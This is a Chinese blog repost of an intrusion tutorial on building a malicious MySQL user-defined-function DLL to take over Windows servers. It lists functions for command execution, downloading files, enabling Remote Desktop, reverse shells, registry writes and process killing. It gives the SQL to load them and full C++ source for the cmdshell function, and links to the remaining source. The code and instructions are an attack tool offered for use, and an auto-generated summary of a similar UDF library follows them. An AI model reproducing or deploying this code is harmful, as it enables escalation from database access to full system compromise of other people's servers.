mysql udf攻击_打造全功能MYSQL入侵UDF

打造全功能MYSQL入侵UDF文章作者:langouster

现在网上通过mysql获得系统权限大都通过MYSQL的用户函数接口UDF,比如Mix.dll和my_udf.dll。在Mix.dll中有一个MixConnect函数它会反弹shell,但是使用这个函数会造成MYSQL假死,前些天我就用这个函数反弹shell后由于网络原因不一会儿就断开了,造成了MYSQL当掉。my_udf.dll和Mix.dll相似,但它是通过my_udfdoor函数在服务器上侦听3306端口,用nc正向连接获得shell,但它的功能显的少了点,于是我决定自己写一个功能强大,运行稳定的UDF。MYSQL有一个开发包,它定义了自己的接口,变量类型,以及函数执行顺序。比如我们要写一个open3389函数,我们可以这样写:extern "C" __declspec(dllexport)my_bool open3389_init(UDF_INIT *initid, UDF_ARGS *args, char *message){//在open3389函数之前调用,一般用于初始化工作,为可选函数;//return 1出错 ,0 正常      return 0;}extern "C" __declspec(dllexport)char *open3389(UDF_INIT *initid, UDF_ARGS *args,char *result, unsigned long *length,char *is_null, char *error){//真正实现功能的函数,必需函数;/*函数内容;return 结果;*/}extern "C" __declspec(dllexport)void open3389_deinit(UDF_INIT *initid){//在open3389函数之后调用,一般用于内存释放,可选函数;}以上的open3389函数的返回值是char *类型的,如果是其它类型函数的参数列表也会有所不同,具体的可见MYSQL参考手册。在写MYSQL UDF时另一个必须考虑的问题是程序的稳定时,它要经的起各种变态输入的考验,否则一旦程序出错MYSQL服务进程就会当掉。

以下是我写的UDF内容,它包含10个函数:cmdshell 执行cmd;downloader 下载者,到网上下载指定文件并保存到指定目录;open3389 通用开3389终端服务,可指定端口(不改端口无需重启);backshell 反弹Shell;ProcessView 枚举系统进程;KillProcess 终止指定进程;regread 读注册表;regwrite 写注册表;shut 关机,注销,重启;about 说明与帮助函数;

使用方法:创建函数:create function 函数名(区分大小写) returns string soname 'dll名' (注意路径);删除函数:delete function 函数名;使用函数:select 函数名(参数列表);获取参数信息可使用select 函数名("help");

以上几个函数都经过多次的测试(测试平台:MYSQL 5.0.24-community-nt、Windows XP),不太可能会造成MYSQL假死等现象,但也不排除在特殊环境,特殊输入的情况下出错的可能,如发现bug可通知我,QQ:185826531(langouster)//--------------------------------------------------------------------------源程序// MYSQL_UDF.cpp : 定义 DLL 应用程序的入口点。#include "stdafx.h"#include "stdio.h"#include #include #include #include #include #include "mysql.h"#include "resource.h"

#pragma comment(lib, "Urlmon.lib")HANDLE g_module;//--------------------------------------------------------------------------------------------------------------------------BOOL APIENTRY DllMain(HINSTANCE hModule,DWORD ul_reason_for_call,LPVOID lpReserved){   if(ul_reason_for_call==DLL_PROCESS_ATTACH)           g_module=hModule;    return TRUE;}//--------------------------------------------------------------------------------------------------------------------------cmdshellextern "C" __declspec(dllexport)my_bool cmdshell_init(UDF_INIT *initid, UDF_ARGS *args, char *message){//return 1出错 ,0 正常      initid->max_length=65*1024*1024;      return 0;}extern "C" __declspec(dllexport)char *cmdshell(UDF_INIT *initid, UDF_ARGS *args,char *result, unsigned long *length,char *is_null, char *error){

if(args->arg_count!=1 || args->arg_type[0]!=STRING_RESULT || stricmp(args->args[0],"help")==0)      {           initid->ptr=(char *)malloc(200);           if(initid->ptr==NULL)return NULL;           strcpy(initid->ptr,"执行CMD Shell函数.\r\n例:select cmdshell(\"dir c:\\\\\");\r\n参数中的\"\\\"要用\"\\\\\"代替.");           *length=strlen(initid->ptr);           return initid->ptr;      }

int RunStatus=0;      char *cmdline,TempFilePath[MAX_PATH],ShellPath[MAX_PATH],temp[100];      DWORD size=0,len;      HANDLE hFile;

GetSystemDirectory(ShellPath,MAX_PATH-1);      strcat(ShellPath,"\\cmd.exe");      GetEnvironmentVariable("temp",TempFilePath,MAX_PATH-1);      strcat(TempFilePath,"\\2351213.tmp");

cmdline=(char *)malloc(strlen(args->args[0])+strlen(TempFilePath)+7);      strcpy(cmdline," /c ");      strcat(cmdline,(args->args)[0]);      strcat(cmdline,">");      strcat(cmdline,TempFilePath);

STARTUPINFO si;      PROCESS_INFORMATION pi;      ZeroMemory( &si, sizeof(si) );      si.wShowWindow=SW_HIDE;      si.cb = sizeof(si);      ZeroMemory( &pi, sizeof(pi) );      RunStatus=CreateProcess(ShellPath,cmdline,NULL,NULL,FALSE,0,0,0,&si,&pi);      free(cmdline);

if(!RunStatus)      {           itoa(GetLastError(),temp,10);           sprintf(temp,"Shell无法启动,GetLastError=%s\n",temp);           initid->ptr=(char *)malloc(strlen(temp)+1);           strcpy(initid->ptr,temp);           (*length)=strlen(initid->ptr);           return initid->ptr;      }

WaitForSingleObject(pi.hProcess,30000);

//获得结果      hFile=CreateFile(TempFilePath,GENERIC_READ,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL);      if(hFile!=INVALID_HANDLE_VALUE)      {           size=GetFileSize(hFile,NULL);           initid->ptr=(char *)malloc(size+100);           ReadFile(hFile,initid->ptr,size+1,&len,NULL);           (initid->ptr)[size]='\0';           strcat(initid->ptr,"\r\n--------------------------------------------完成!\r\n");

CloseHandle(hFile);           DeleteFile(TempFilePath);      }      else      {           initid->ptr=(char *)malloc(100);           strcpy(initid->ptr,"\r\n--------------------------------------------完成!\r\n");      }      (*length)=strlen(initid->ptr);      return initid->ptr;

}extern "C" __declspec(dllexport)void cmdshell_deinit(UDF_INIT *initid){      if(initid->ptr!=NULL)           free(initid->ptr);}篇幅关系,后面的代码省略,全部源代码在附件中。附件:http://www.langouster.com/upload/mysqludf.rar

小编推荐:欲学习电脑技术、系统维护、网络管理、编程开发和安全攻防等高端IT技术,请 点击这里注册账号,公开课频道价值万元IT培训教程免费学,让您少走弯路、事半功倍,好工作升职加薪!

免责声明:本站系公益性非盈利IT技术普及网,本文由投稿者转载自互联网的公开文章,文末均已注明出处,其内容和图片版权归原网站或作者所有,文中所述不代表本站观点,若有无意侵权或转载不当之处请从网站右下角联系我们处理,谢谢合作!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
lib_mysqludf_sys_x64.dll是一个用于MySQL数据库的外部库文件。它是MySQL User-defined Function (UDF)的一部分,允许用户通过调用这个库文件中的函数来扩展MySQL服务器的功能。 lib_mysqludf_sys_x64.dll提供了一些操作系统级别的功能,例如文件和目录操作、执行外部命令和程序、读取系统环境变量等。通过在MySQL中创建自定义函数并使用这个库文件,用户可以在数据库中执行许多与操作系统相关的任务。 这个库文件是为64位系统编译的,所以只能在64位的MySQL服务器上使用。使用之前,需要将它加载到MySQL服务器中,并确保服务器和客户端的版本兼容性。 加载lib_mysqludf_sys_x64.dll的方法是通过在MySQL的配置文件中添加一行配置信息,指定库文件的路径。然后,重启MySQL服务器以使配置生效。 一旦加载成功,用户就可以在自己的数据库中创建自定义函数,通过调用这个库文件中的函数来实现特定的操作系统级别的功能。比如,可以创建一个函数来执行一个外部命令,然后将结果存储到数据库中。这样,用户就可以在数据库中操作文件、目录和其他操作系统资源。 总的来说,lib_mysqludf_sys_x64.dll是一个用于MySQL数据库的外部库文件,它扩展了MySQL服务器的功能,允许用户在数据库中执行一些操作系统级别的任务。它通过创建自定义函数并使用库文件中的函数来实现这些功能。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值